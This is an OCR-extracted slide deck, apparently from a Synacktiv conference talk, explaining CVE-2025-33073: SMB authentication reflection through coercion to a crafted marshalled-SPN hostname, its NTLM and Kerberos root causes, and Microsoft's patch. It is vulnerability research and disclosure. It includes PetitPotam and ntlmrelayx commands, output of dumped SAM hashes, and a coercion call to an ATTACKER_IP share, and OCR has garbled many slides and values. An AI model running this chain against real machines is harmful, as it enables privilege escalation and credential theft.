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CVE-2025-33073 BSYNACKTIV

Windows SMB Client Elevation st Privilege Vulnerability

CVE-2025-33073
Security Vulnerability

Released: Jun 10, 2025
Last updated: Jun 11, 2025
Assigning CNA: Microsoft
CVE.org link:
Impact: Elevation of Privilege  Max Severity: Important
Weakness: CWE-284: Improper Access Control
CVSS Source: Microsoft

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:P/RL:0/RC:C

Metrics: CVSS:3.188 /7.9
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CVE-2025-33073 #SYNACKTIV

= Trivial logical vulnerability allowing authenticated remote command execution

= Authentication reflection

= "Only" on machines that do not require SMB signing (everything except Windows 11
24H72)

= Independently reported by many researchers
= RedTeam Pentesting were the first to report it, kudos to them!
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Research motivations #SYNACKTIV

= Tweet from @D1iv3 about Kerberos reflection

Dlive
o Here Kerberos Relay is more powerful than NTLM Relay mentioned in the
article.

o Dlive f

We can relay back to the same machine using Kerberos relay instead of
NTLM relay. | discovered this attack vector more than a year ago. | will
describe it in detail in upcoming Black Hat Asia 2024

... and introduce more interesting attacks.

= Long history of authentication reflections bugs
= MS08-68

= MS15-076
= CVE-2019-1384


https://x.com/d1iv3
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Core concepts BSYNACKTIV

Authentication coercion

= Force an identity (user or machine account) to authenticate to a controlled server

= Several ways to coerce a machine into authenticating to a given server
— Some are deterministic, others not

= Most popular: force an RPC service to access a file on an arbitrary file share




Core concepts BSYNACKTIV

Authentication coercion

MACHINE
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Core concepts

Authentication coercion
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Core concepts

Authentication coercion

Hexacon 2025
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Core concepts

Authentication coercion
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Core concepts

Authentication coercion

MACHINE

CreateFile("\ATTACKER _IP\sharelfile.txt")
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Core concepts

Authentication coercion

Hexacon 2025
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Core concepts BSYNACKTIV

Authentication relay

= Somehow force a client to
authenticate to a 5 \ 7
controlled destination \ /
u Relay the authentication to AUTHENTICATION AUTHENTICATION
BLOB BLOB
another server to \

impersonate the relayed AUTHENTICATION

COERCION

identity \ 4/

AUTHENTICATED
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Core concepts

Authentication reflection

= Special case of
authentication relay where
client and server are on the
same machine

= Mitigations in place to
prevent relaying back an

authentication to the same
machine

= SYNACKTIV
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Core concepts BSYNACKTIV

Kerberos authentication coercion

= Main difficulty: receive a Kerberos authentication ( AP-REQ message) to a
controlled IP

= Kerberos uses tickets with SPN (e.g. CIFS/SRvV1 )
— SPN constructed by client based on the server hostname/FQDN
— Server hostname/FQDN resolved via DNS: not under our control

17




Core concepts

Kerberos authentication coercion

SRV1 (10.0.0.2)

Hexacon 2025
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Core concepts BSYNACKTIV

Kerberos authentication coercion

SRV1 (10.0.0.2)

srvl 10.0.0.2

AUTHENTICATION
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—[&

srvl
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Core concepts

Kerberos authentication coercion

SRV1 (10.0.0.2)
srv1l?
AUTHENTICATION
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Core concepts BSYNACKTIV

Kerberos authentication coercion

SRV1 (10.0.0.2)
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Core concepts

Kerberos authentication coercion

SRV1 (10.0.0.2)
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Core concepts BSYNACKTIV

Kerberos authentication coercion

= Breakthrough: research from James Forshaw
— A marshalled CREDENTIAL_TARGET_INFORMATION structure can be added at the

end of an SPN
— LSASS will discard it before making Kerberos ticket requests

= Requesting a ticket for
CIFS/srvi1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA actually returns
one for CIFS/srvi

=  srvl11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA is a valid DNS record!

23



https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

Core concepts BSYNACKTIV

Kerberos authentication coercion

1. Register the srvi1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA DNS record
(allowed for any authenticated user by default)

2. Coerce a machine into authenticating to
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA via SMB

3. Received an AP-REQ message for CIFS/srvi
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Core concepts

Kerberos authentication coercion

SRV1 (10.0.0.2)
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Core concepts

Kerberos authentication coercion

Hexacon 2025

SRV1 (10.0.0.2)

srvl 10.0.0.2

srv11U[...JAAA

ADD DNS RECORD:

srv11U[...]JAAA

o

= SYNACKTIV

26



Core concepts

Kerberos authentication coercion

SRV1 (10.0.0.2)

AUTHENTICATION
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Core concepts BSYNACKTIV

Kerberos authentication coercion

SRV1 (10.0.0.2)
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A
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Core concepts BSYNACKTIV

Kerberos authentication coercion

SRV1 (10.0.0.2)

srv11U[...]JAAA?
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Core concepts BSYNACKTIV

Kerberos authentication coercion

srv11U[...]JAAA?

srvl 10.0.0.2

SIV11UL...]JAAA

CLIENT: SRV1$

SPN: CIFS/ISRV1

AUTHENTICATION
COERCION TO:

srv11Ul[...]JAAA
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Vulnerability discovery

= SYN
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Vulnerability discovery

= Some checks/protections against reflection may be based on names
— Try to fiddle with the target name during coercion

= Something interesting happened when coercion to
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA !

= SYNACKTIV
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Vulnerability discovery BSYNACKTIV

$ PetitPotam.py -u user -p password -d DOMAIN.LOCAL \
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA SRV1.DOMAIN.LOCAL
[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

# krbrelayx.py -t SRV1.DOMAIN.LOCAL

[*] Servers started, waiting for connections

[*] SMBD: Received connection from 192.168.56.14

[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client

Hexacon 2025 33

)




Vulnerability discovery BSYNACKTIV

$ PetitPotam.py -u user -p password -d DOMAIN.LOCAL \

srv1i1UwWhRC wbEAYBAAAA SRV1.DOMAIN.LOCAL
[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

# ntlmrelayx.py -t SRV1.DOMAIN.LOCAL -smb2support

[*] Servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14,
attacking target smb://SRV1.DOMAIN.LOCAL

[*] Authenticating against smb://SRV1.DOMAIN.LOCAL as / SUCCEED

Service RemoteRegistry is in stopped state

Starting service RemoteRegistry

Target system bootKey: 0x0cl1l0b250470be78chelc92dl1b7fede91l

Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404¢ee:31d6cfe0d16ae931b73¢c59d7e0c089cO: : :
Guest:501:aad3b435h51404eeaad3hb435h51404¢ee:31d6cfe0d16ae931b73¢c59d7e0c089cO: : :
DefaultAccount:503:aad3b435b51404eeaad3b435h51404¢ee:31d6cfe0d16ae931b73¢c59d7e0c089cO: : :
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404¢ee:df3c08415194a27d27bb67dcbhbf6a6ebc: : :
user:1000:aad3b435h51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea0@9c70: : :

[*] Done dumping SAM hashes for host: 192.168.56.14

e b e

[*
[*
[*
[*

* The reflection worked and gave us a privileged SMB session!
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Root cause
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Network diffing HSYNACKTIV

NTLM Challenge (sent by the server)

$ PetitPotam.py -u user -p password 192.168.56.3 SRV1.ASGARD.LOCAL $ PetitPotam.py -u user -p password \
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA SRV1.ASGARD.LOCAL

1 L
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_CHALLENGE (G ) v

ryice Provider
NTLMSSP identifier: NTLMSSP

v arE:ngt:mej:_ e NTLM Message Type: NTLMSSP_CHALLENGE (0x00008802)
Maxlen: 12 arget mame. ARD
Offset: 56 Length: 12
Negotia;e Key Exchange, Megotiate 128, Negotiate Yersion, Negotiate Target Info, Nego g?;;ggf éé
= Negotiate 56: Set ’

Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Nego
Negotiate 56: Set

Negotiate Key Exchange: Set
Negotiate 128: Set

Negotiate 0x18000000: Not set
Negotiate 0x03000000: Not set
Negotiate 0x04000000: Not set
Negotiate Version: Set

Negotiate 0x01000000: Not set
Negotiate Target Info: Set
Request Non-NT Session: Not set
Negotiate 0x00200800: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Set
Negofiate Always Sign. Sef

Negotiate 0xDE004000: Set
EQotiate OTRStacion supplied: Not set

Negotiate OEM Domain Supplied: Not set
Negotiate Anonymous: Not set
Negotiate NT Only: Mot set
Negotiate NTLM key: Set

Negotiate 0x08000106: Not set
Negotiate Lan Manager Key: Not set
Negotiate Datagram: Not set
Negotiate Seal: Not set

Negotiate Sign: Set

Request 0x000ROE03: Not set
Request Target: Set

Negotiate OEM: Mot set

Negotiate UNICODE: Set

1 Negotiate Key Exchange: Set
Hegotiate 128: Set

Negotiate Ox180000800: Not set
Negotiate Ox08000000: Not set
Negotiate Ox04000000: Not set
Negotiate Version: Set

Hegotiate Ox018900800: Not set
Negotiate Target Info: Set
Request Non-NT Session: Not set
Negotiate OxBB200000: Not set
Negotiate Identify: Mot set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Set
Negotiate Always Sign: Set
Negotiate 0xBBOO4086: Not set |
Negotiate OEM Workstation sSupplied: Not set
Negotiate OEM Domain Supplied: Not set
Negotiate Anonymous: Not set
Hegotiate NT Only: Mot set
Negotiate NTLM key: Set
Negotiate Ox00000100: Not set
Negotiate Lan Manager Key: Not set
Negotiate Datagram: Not set
Negotiate Seal: Not set
Negotiate Sign: Set

Request Gx00BEOEEE: Not set
Request Target: Set

Negotiate OEM: Not set

Negotiate UNICODE: Set

A, 1
c17ec3gtiss
Reserved: 11000100000000090
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Network diffing

NTLM Challenge (sent by the server)

$ PetitPotam.py -u user -p password 192.168.56.3 SRV1.ASGARD.LOCAL

« large ame .
Length: 1
Maxlen: 12

Offset: 56

NTLMSSP identifier:
NTLM Message T

L
NTLMSSP

e: NTLMSSP_CHALLENGE (@8x00000802)

ARD

Hegotiate
Negotiate
Hegotiate
Hegotiate
Negotiate
Negotiate
Negotiate
Hegotiate
Hegotiate

Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Nego
6 t

56: Se

Key Exchange: Set
128: Set
Ox10000000: Not set
Ox08000000: Not set
@xB4000000: Not set
Version: Set
OxB1000000: Not set
Target Info: Set

Request Non-NT Session: Not set

Negotiate
Negotiate
Hegotiate

OxERZ00000: Not set
Identify: Not set
Extended Security: Set

Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Set

Hegotiate

Negotiate

Always Sign: Set
0x000D4006: Not set |

Negotliate
Negotiate
Negotiate
Hegotiate
Negotiate
Negotiate
Negotiate
Hegotiate
Hegotiate
Hegotiate

OEM Workstation Supplied: Not set
OEM Domain Supplied: Not set
Anonymous: Not set

NT Only: Mot set

NTLM key: Set

Ox00000180: Not set

Lan Manager Key: Not set
Datagram: Not set

Seal: Not set

Sign: Set

Request Gx00BEOEEE: Not set
Request Target: Set

Hegotiate
Hegotiate

OEM: Not set
UNICODE: Set

= Standard NTLM authentication

Hexacon 2025

$ PetitPotam.py -u user -p password \
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAWDEAYBAAAA SRV1.ASGARD.LOCAL

ryice Provider

NTLMSSP identifier: NTLMSSP

ar

NTLM Message Type: NTLMSSP_CHALLENGE (0x00008802)

Get Wame: ARD
Length: 12
Maxlen: 12
Offset: 56

Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Nego
Negotiate 56: Set
Negotiate Key Exchange: Set
Negotiate 128: Set
Negotiate 0x18000000: Not set
Negotiate 0x03000000: Not set
Negotiate 0x04000000: Not set
Negotiate Version: Set
Negotiate 0x01000000: Not set
Negotiate Target Info: Set
Request Non-NT Session: Not set
Negotiate 0x00200800: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Set
Negofiate Always Sign. Sef

A, 1
c17ec3gtiss
Reserved: 11000100000000090

Negotiate 0xDE004000: Set
EQotiate OTRStacion supplied: Not set

Negotiate OEM Domain Supplied: Not set
Negotiate Anonymous: Not set
Negotiate NT Only: Mot set
Negotiate NTLM key: Set

Negotiate 0x08000106: Not set
Negotiate Lan Manager Key: Not set
Negotiate Datagram: Not set
Negotiate Seal: Not set

Negotiate Sign: Set

Request 0x000ROE03: Not set
Request Target: Set

Negotiate OEM: Mot set

Negotiate UNICODE: Set

Local NTLM authentication!

= SYNACKTIV
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Local NTLM authentication

MACHINE

NTLM SSP

0x10000

0x10001

CONTEXT1

CONTEXT2

InitializeSecurityContext
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Local NTLM authentication

MACHINE

NTLM SSP

0x10000

0x10001

CONTEXT1

CONTEXT2

InitializeSecurityContext

NTLM NEGOTIATE

= NTLM NEGOTIATE [
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Local NTLM authentication

Hexacon 2025

MACHINE

LSASS
NTLM SSP
0x10000 CONTEXT1
0x10001 CONTEXT2 I
AcceptSecurityContext

NTLM NEGOTIATE

TokenHandle

NULL

= SYNACKTIV
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Local NTLM authentication
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MACHINE

NTLM SSP
0x10000 CONTEXT1
0x10001 CONTEXT2 I
AcceptSecurityContext
NTLM CHALLENGE
NTLM NEGOTIATE
NTLM CHALLENGE
<+ —

TokenHandle

NULL

= SYNACKTIV
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Local NTLM authentication
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MACHINE

NTLM SSP

0x10000

0x10001

CONTEXT1

CONTEXT2

InitializeSecurityContext

NTLM CHALLENGE

TokenHandle
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Local NTLM authentication

MACHINE

NTLM SSP

0x10000 CONTEXT1

0x10001 CONTEXT2

InitializeSecurityContext

NTLM CHALLENGE

NTLM AUTHENTICATE

= NTLM AUTHENTICATE [~}
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Local NTLM authentication

Hexacon 2025

MACHINE

LSASS
NTLM SSP
0x10000 CONTEXT1
0x10001 CONTEXT2 I
AcceptSecurityContext
NTLM AUTHENTICATE

TokenHandle

= SYNACKTIV
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Local NTLM authentication
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MACHINE

LSASS
NTLM SSP
0x10000 CONTEXT1
0x10001 CONTEXT2 I
AcceptSecurityContext
SUCCESS
NTLM AUTHENTICATE

TokenHandle

= SYNACKTIV
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Network Diffing

Conclusion

= We are relaying a local NTLM authentication over the network

= Why does the server decide to perform local NTLM authentication?

= SYNACKTIV

46



SMB client authentication workflow

LSASS
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SMB client authentication workflow #SYNACKTIV

CIFSIsrv11UWh[...]YBAAAA
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SMB client authentication workflow

Hexacon 2025

LSASS

Userland

CIFSIsrv11UWh[...]YBAAAA

InitializeSecurityContext=——=3>

Kernel

CIFS/srv11UWhI...]YBAAAA

= SYNACKTIV
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SMB client authentication workflow
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LSASS

CIFS/srv11UWh...]YBAAAA

A

\

Userland

CIFSIsrv11UWh[...]YBAAAA

N\

RPC,

¥

InitializeSecurityContext=——=3>

Kernel

CIFS/srv11UWhI...]YBAAAA

= SYNACKTIV
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SMB client authentication workflow
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LSASS

CIFS/srvl

LsapCheckMarshalledTargetinfo

CIFS/srv11UWh...]YBAAAA

A

Userland

CIFSIsrv11UWh[...]YBAAAA

RPC,

¥

InitializeSecurityContext=——=>

Kernel

CIFS/srv11UWhI...]YBAAAA

= SYNACKTIV
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SMB client authentication workflow

Hexacon 2025

LSASS

CIFS/srvl

LsapCheckMarshalledTargetinfo

CIFS/srv11UWh...]YBAAAA

A

=——SplnitLsaModeContext=—>

CIFSIsrvl

Userland

CIFSIsrv11UWh[...]YBAAAA

RPC,

¥

InitializeSecurityContext=——=>

Kernel

CIFS/srv11UWhI...]YBAAAA

= SYNACKTIV
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NTLM client local authentication hinting i SYNACKTIV

Did we provide explicit { Hint the server for
credentials? local authentication

Is the target either the

hostname of the machine, the Are we requesting a

FQDN or "localhost"? NULL session?

Do not hint the
server for local
authentication

Is the target one of
the local IP addresses of
the machine?
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NTLM client local authentication hinting i SYNACKTIV

SsprGetTargetHostName

Did we provide explicit { Hint the server for
credentials? local authentication

Is the target either the

hostname of the machine, the Are we requesting a

FQDN or "localhost"? NULL session?

Do not hint the
server for local
authentication

Is the target one of
the local IP addresses of
the machine?
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NTLM client local authentication hinting i SYNACKTIV

SsprGetTargetHostName

Did we provide explicit Hint the server for
credentials? local authentication

Is the target either the

hostname of the machine, the Are we requesting a

FQDN or "localhost"? NULL session?

Do not hint the
server for local
authentication

Is the target one of
the local IP addresses of
the machine?

Hexacon 2025 55




NTLM client local authentication hinting

= No local authentication hinting

~ NTLM Secure Service Provider

NTLMSSP identifier: NTLMSSP

NTLM Message Type: NTLMSSP_NEGOTIATE (6x80008001)

~ WEqotIate = OTIate Tegotinte Key Exchange, Negotiate 128, Negotiate Version, Negotiate Extended

Negotiate 56: Set
Negotiate Key Exchange: Set
Negotiate 128: Set
Negotiate 0x10080008: Not set
Negotiate @x08000000: Not set
Negotiate 0x04000000: Not set
Negotiate Version: Set
Negotiate @x01800088: Not set
Negotiate Target Info: Not set
Request Non-NT Session: Not set
Negotiate 0x002800008: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Not set
Negotiate Always Sign: Set
Negotiate 0x00084008: Not set
Negotiate OEM Workstation Supplied: Not set
Negotiate OEM Domain Supplied: Not set
Negotiate Anonymous: ot set
Negotiate NT Only: Not set
Negotiate NTLM key: Set
Negotiate @x00000100: Not set
Negotiate Lan Manager Key: Set
Negotiate Datagram: Not set
Negotiate Seal: Not set
Negotiate Sign: Set
Request Gx00000008: Not set
Request Target: Set
Negotiate OEM: Set
Negotiate UNICODE: Set

Calling workstation domain: NULL
Calling workstation name: MNULL
~ Version 10.0 (Build 17763); NTLM Current Revision 15
Major Version: 10
Minor Version: @
Build Number: 17763
NTLM Current Revision: 15

Hexacon 2025

SYNACKTIV

= Local authentication hinting

NTIMSSP Jdentifier. NTIMSSP
N : NTLMSSP_NEGOTIATE
T T2 NETOTTE

’

(BxPAPERGET)
ESe,WegUTTate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Extended
Negotiate 56: Set

Negotiate Key Exchange: Set
Negotiate 128: Set

Hegotiate 0x1B000008@: Not set
Negotiate OxDE8EOEORE: Not set
Negotiate Ox@4880006: Not set
Negotiate Version: Set

Negotiate 0x0100000808: Not set
Negotiate Target Info: Not set
Request Non-NT Session: Mot set
Negotiate Ox0O200000@: Not set
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
Target Type Domain: Mot set
Negotiate Always Sign: Set
Negotiate 0x000040008: Not set
Negotiate OEM Workstation Supplied: Set
Negotiate OEM Domain Supplied: Set
Negotiate Anonymous: Not set
Negotiate NT Only: Not set
Negotiate NTLM key: Set

Negotiate 0x00000100@: Not set
Negotiate Lan Manager Key: Set
Negotiate Datagram: Mot set
Negotiate Seal: Mot set

Negotiate Sign: Set

Request 0x00000008: Not set
Request Target: Set
. Negotiate OEM: Set

..1 = Negotiate UNICODE: Set

 Calling workstation domain: ASGARD
Length: &
Maxlen: 6
Offset: 44
b Calling workstation name: SRVl
Length: 4
Maxlen: 4
Offset: 48
~ version 19.W (BUITd 17763}, NICH Clrrent Revision 15
Major Version: 1@
Minor Version: @
Build Number: 17763
NTLM Current Revision: 15




NTLM reflection 5 SYNACKTIV

summary

1. LSASS discards the CREDENTIAL_TARGET_INFORMATION part of the target
— srvi11UWh[...]YBAAAA becomes srvi

2. The NTLM SSP client identifies that srvi is the local machine
— The client hints the service to perform local authentication

3. The NTLM SSP server decides to perform local authentication
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NTLM reflection 5 SYNACKTIV

summary

= Why are we privileged on the machine when the relay succeeds?

— The SMB client runs in the System process, which runs as NT
AUTHORITY\SYSTEM

— The SMB server therefore impersonates the token of NT AUTHORITY\SYSTEM
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What about Kerberos?

= SYN



Kerberos reflection ESYNACKTIV

= The reflection also works for Kerberos!

= The SMB server must not advertize NTLM, otherwise the Negotiate SSP will
select NTLM over Kerberos (because of the local authentication)




Kerberos reflection

Hexacon 2025

MACHINE (SRV1)

CLIENT: SRV1$ CLIENT: SRV1$

SPN: CIFS/ISRV1 SPN: CIFS/ISRV1

AUTHENTICATION SUCCESS
COERCION TO: (PRIVILEGED)
srv1I1UWNhI...]YBAAAA
AR

= SYNACKTIV
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Kerberos reflection

= The SMB client runs as NT AUTHORITY\SYSTEM

— Network authentication is done with the machine account ( SRv1$ )
— We are relaying the machine account

= The machine account is not privileged on its associated machine
— Why does the reflection give us a privileged SMB session?

Hexacon 2025

= SYNACKTIV
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Kerberos loopback workflow

Only applicable NT AUTHORITY\SYSTEM clients

Hexacon 2025

MACHINE

LSASS

KERBEROS SSP

-

EEEEEE
EEEEEE

[

InitializeSecurityContext

= SYNACKTIV
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Kerberos loopback workflow

Only applicable NT AUTHORITY\SYSTEM clients

Hexacon 2025

MACHINE

ENTRY1
ENTRY2

KERBEROS SSP

InitializeSecurityContext

Luid
Subkey

TokenHandle

0x3e7

= SYNACKTIV
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Kerberos loopback workflow

Only applicable NT AUTHORITY\SYSTEM clients

MACHINE

-

KERBEROS SSP

ENTRY1
ENTRY2

[

InitializeSecurityContext

AP-REQ

)

SRV1$

CIFSISRV1

——

AP-REQ

/

SRV1$

CIFSISRV1

Hexacon 2025

Luid
Subkey

TokenHandle

0x3e7

= SYNACKTIV




Kerberos loopback workflow ESYNACKTIV

Only applicable NT AUTHORITY\SYSTEM clients

MACHINE

3 Luid 0x3e7
LSASS
ENTRY1 TokenHandle

ENTRY2

|
~

\
AcceptSecurityContext

AP-REQ 4

SRV1$

CIFSISRV1
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Kerberos loopback workflow

Only applicable NT AUTHORITY\SYSTEM clients

Hexacon 2025

MACHINE

LSASS

.

KERBEROS SSP

ENTRY1
ENTRY2

|
~

\SUCCESS

—

\
AcceptSecurityContext

AP-REQ 4

SRV1$

CIFSISRV1

Luid
Subkey

TokenHandle

0x3e7

= SYNACKTIV
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Patch analysis

= SYN



Patch analysis

Patch diffing

= Where to look for? One patch for each protocol?

Windows SMB Client Elevation of Privilege Vulnerability

CVE-2025-33073
Security Vulnerability

= SMB client (partly) implemented in mrxsmb. sys

Hexacon 2025

= SYNACKTIV




Patch analysis 5 SYNACKTIV

Patch diffing

= New check added in mrxsmb!SmbCeCreateSrvCall

= Called when trying to access a resource over SMB

NTSTATUS SmbCeCreateSrvCall([...])

{

[...]
if (CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID PARAMETER ) {

return STATUS_INVALID_PARAMETER;
}
]

[...

= |If the target name contains marshalled target information -> abort
— Cannot coerce SMB client with marshalled target information anymore
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Conclusion

= SYN
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Conclusion

= High-impact simple and stable logical vulnerabilities still exist

= SMB signing is still underrated
— Blocks exploitation of this vulnerability
— Still not enabled by default on Windows (except Windows 11 24H2)...
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= SYNACKTIV
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https: //www.linkedin.com/company/synacktiv
https://x.com/synacktiv
https:/ /bsky.app/profile/synacktiv.com

https://synacktiv.com
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